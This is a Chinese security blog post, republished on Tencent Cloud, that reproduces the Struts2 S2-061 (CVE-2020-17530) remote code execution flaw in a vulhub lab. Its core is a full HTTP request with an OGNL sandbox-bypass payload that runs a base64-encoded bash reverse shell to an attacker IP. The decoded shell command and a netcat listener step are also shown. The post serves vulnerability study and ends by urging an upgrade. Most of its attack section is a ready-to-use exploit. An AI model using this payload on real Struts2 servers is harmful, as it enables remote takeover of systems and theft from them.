Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2020-17530:Struts2远程代码执行漏洞复现

CVE-2020-17530:Struts2远程代码执行漏洞复现

作者头像
Timeline Sec
发布于 2021-01-18 03:23:22
发布于 2021-01-18 03:23:22
2.5K00
代码可运行
举报
文章被收录于专栏:Timeline SecTimeline Sec
运行总次数:0
代码可运行

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。

0x02 漏洞概述

漏洞编号CVE-2020-17530

CVE-2020-17530是对CVE-2019-0230的绕过,Struts2官方对CVE-2019-0230的修复方式是加强OGNL表达式沙盒,而CVE-2020-17530绕过了该沙盒。

在特定的环境下,远程攻击者通过构造恶意的OGNL表达式,可造成任意代码执行。

0x03 影响版本

Struts 2.0.0 – Struts 2.5.25

0x04 环境搭建

这里用的vulhub环境一键搭建

执行如下命令启动一个Struts2 2.5.25版本环境

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https://github.com/vulhub/vulhub/blob/master/struts2/s2-061/

1、启动Struts 2.5.25环境:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
docker-compose up -d

2、环境启动后,访问查看首页

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://target-ip:8080/index.action

0x05 漏洞复现

1、发送如下数据包,即可执行反弹shell命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /index.action HTTP/1.1 
Host:192.168.20.129:8080 
Accept-Encoding: gzip, deflate 
Accept: */* 
Accept-Language:en 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF 
Content-Length: 922  
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id" 

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

2、这里为反弹shell命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(#arglist.add("bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute"))

进行linux反弹shell命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
bash -i >& /dev/tcp/192.168.20.128/66660>&1PS:反弹shell涉及到管道符问题于是要将命令进行base64编码)

base64在线编码:

http://www.jackson-t.ca/runtime-exec-payloads.html

3、在攻击机监听本地端口:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nc -lvvp 6666

运行脚本成功反弹回shell

0x06 修复建议

Struts官方已经发布了新版本修复了上述漏洞,请受影响的用户尽快升级进行防护。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
参考链接:

https://github.com/vulhub/vulhub/blob/master/struts2/s2-061/README.zh-cn.md

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-01-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Struts2-061 漏洞复现
Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。
用户8478399
2022/09/22
3140
Struts2-061 漏洞复现
S2-061 Struts2远程代码执行漏洞复现 (POC详解)
Struts2是一个用Java编写的开源MVC Web应用框架,Struts也是一个中间件,它可以连接不同的系统和服务。
红队蓝军
2024/07/02
9440
S2-061 Struts2远程代码执行漏洞复现 (POC详解)
struts2漏洞复现
3、判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。
全栈程序员站长
2022/09/07
1K0
struts2漏洞复现
Apache Struts2--061远程代码执行漏洞复现
Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞,开发人员使用了 %{…} 语法,从而攻击者可以通过构Payload,从而造成远程代码执行。
用户6343818
2020/12/29
1.2K0
Apache Struts2--061远程代码执行漏洞复现
JAVA常见漏洞复现
Shiro550漏洞原理是Shiro框架提供了一种记住密码(Rememberme)的功能,用户登录成功后会生成经过加密的Cookie值,对Remembe的Cookie进行AES解密、Base64解密后再反序列化,就导致了反序列化RCE漏洞 。 Shiro<1.2.4版本,其使用的密钥为固定密钥Shiro550kPH+bIxk5D2deZiIxcaaaA==,这就更容易导致RCE漏洞
用户9691112
2023/05/18
1.8K0
JAVA常见漏洞复现
CVE-2020-17530:Struts OGNL表达式解析漏洞分析
Struts2会对某些标签属性(比如:'id')的属性值进行二次表达式解析,因此当这些标签属性中使用了'%{x}'且'x'的值用户可控时,用户再传入一个'%{payload}'即可造成OGNL表达式执行,S2-061是对S2-059沙盒进行的绕过,S2-059的修复补丁仅修复了沙盒绕过,但是并没有修复OGNL表达式的执行,直到最新版本2.5.26版本中OGNL表达式的执行才得以修复
Al1ex
2023/12/14
3460
S2-061_RCE_CVE-2020-17530
Struts2会对某些标签属性(比如:'id')的属性值进行二次表达式解析,因此当这些标签属性中使用了'%{x}'且'x'的值用户可控时,用户再传入一个'%{payload}'即可造成OGNL表达式执行,S2-061是对S2-059沙盒进行的绕过,S2-059的修复补丁仅修复了沙盒绕过,但是并没有修复OGNL表达式的执行,直到最新版本2.5.26版本中OGNL表达式的执行才得以修复
Al1ex
2021/07/21
6570
S2-061_RCE_CVE-2020-17530
status-s2059_061漏洞复现
官网这个链接有毒 https://vulhub.org/#/environments/struts2/s2-061/
XRSec
2022/02/11
3510
status-s2059_061漏洞复现
Struts2漏洞复现合集
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5TlQx5IR-1626014278332)(C:/Users/zcc/AppData/Roaming/Typora/typora-user-images/image-20210708164156162.png)]
全栈程序员站长
2022/09/09
1.3K0
Struts2漏洞复现合集
Struct2系列漏洞
这里摘自互联网上的一段解释:Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。很多年前Struts2 + Spring + Hibernate 三大框架一起组成了 “SSH”,但现在正在被Spring + Spring MVC/ Spring Boot + MyBatis新三剑客“SSM”所代替,具体原因出来性能方面的提高,还要就是struct2的漏洞实在是太多,像国内BAT都被坑了一波,更别说ZF机关。所有struct2被大家抛弃也是情理之中的事情。
Tommonkey
2023/03/20
1.5K0
Struct2系列漏洞
内含POC丨漏洞复现之S2-061(CVE-2020-17530)
本次漏洞是对S2-059漏洞修复后的绕过。S2-059的修复补丁仅修复了沙盒绕过,但是并没有修复OGNL表达式的执行。但是在最新版本2.5.26版本中OGNL表达式的执行也修复了。
Gcow安全团队
2020/12/16
1.2K0
内含POC丨漏洞复现之S2-061(CVE-2020-17530)
CVE-2019-0230 S2-059 远程代码执行漏洞
工具vulhub官网的poc,输入id参数查看是否存在该漏洞。发现成功执行了333*3的语句,说明存在该漏洞。
用户8478947
2022/12/07
5550
CVE-2018-11776 S2-057 远程代码执行漏洞
根据vulhub官网的poc,查看是否存在该漏洞。发现成功执行了333*3的语句,说明存在该漏洞。
用户8478947
2022/12/08
4060
CVE-2013-2251 S2-016 远程代码执行漏洞
访问http://192.168.146.158:8016/index.action
用户8478947
2022/12/22
8380
Struts RCE CVE-2021-31805
远程代码执行S2-062(CVE-2021-31805)由于Apache Struts2对S2-061(CVE-2020-17530)的修复不够完整,导致一些标签属性仍然可以执行 OGNL 表达式,攻击者利用该漏洞可以构造恶意数据远程执行任意代码。
Khan安全团队
2022/05/17
6100
Struts RCE CVE-2021-31805
Struts2-061自动化脚本的编写与Goby POC编写
二、“黑客”就通过构造恶意的 OGNL 表达式,引发 OGNL 表达式二次解析,最终造成远程代码执行的影响.
洛米唯熊
2022/02/28
1.4K0
Struts2-061自动化脚本的编写与Goby POC编写
CVE-2013-1966 S2-013 远程代码执行漏洞
1 漏洞信息漏洞名称远程代码执行漏洞漏洞编号CVE-2013-1966危害等级高危漏洞类型中间件漏洞漏洞厂商Apache漏洞组件Struts2受影响版本2.0.0 <= Struts2 <= 2.3.14.1漏洞概述url和s:a标记都提供includeparams属性。该属性的主要作用域是了解包含或不包含http://request参数的内容。INCLUDEParams的允许值为:none-在URL中不包含任何参数(默认),get-仅在URL中包含get参数,all-在URL中同时包含get和post参数
用户8478947
2022/12/22
8380
CVE-2010-1870 S2-005 远程代码执行漏洞
访问http://192.168.146.158:8105/example/HelloWorld.action
用户8478947
2022/12/22
1.4K0
CVE-2011-3923 S2-009 远程代码执行漏洞
1 漏洞信息漏洞名称远程代码执行漏洞漏洞编号CVE-2011-3923危害等级高危漏洞类型中间件漏洞漏洞厂商Apache漏洞组件Struts2受影响版本2.0.0 <= Struts2 <= 2.3.1.1漏洞概述OGNL还提供广泛的表达评估功能。该漏洞使恶意用户可以绕过内置在ParametersInterceptor中的所有保护(正则表达式模式,拒绝方法调用),从而能够在任何公开的字符串变量中注入恶意表达式以进行进一步评估。2 环境搭建2.1 环境概述Linux操作系统2.2 搭建过程拉取镜像 cd vu
用户8478947
2022/12/22
6130
漏洞复现 -- JBoss漏洞总结
地址:Vulhub - Docker-Compose file for vulnerability environment
Gh0st1nTheShel
2021/11/23
2.9K0
相关推荐
Struts2-061 漏洞复现
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验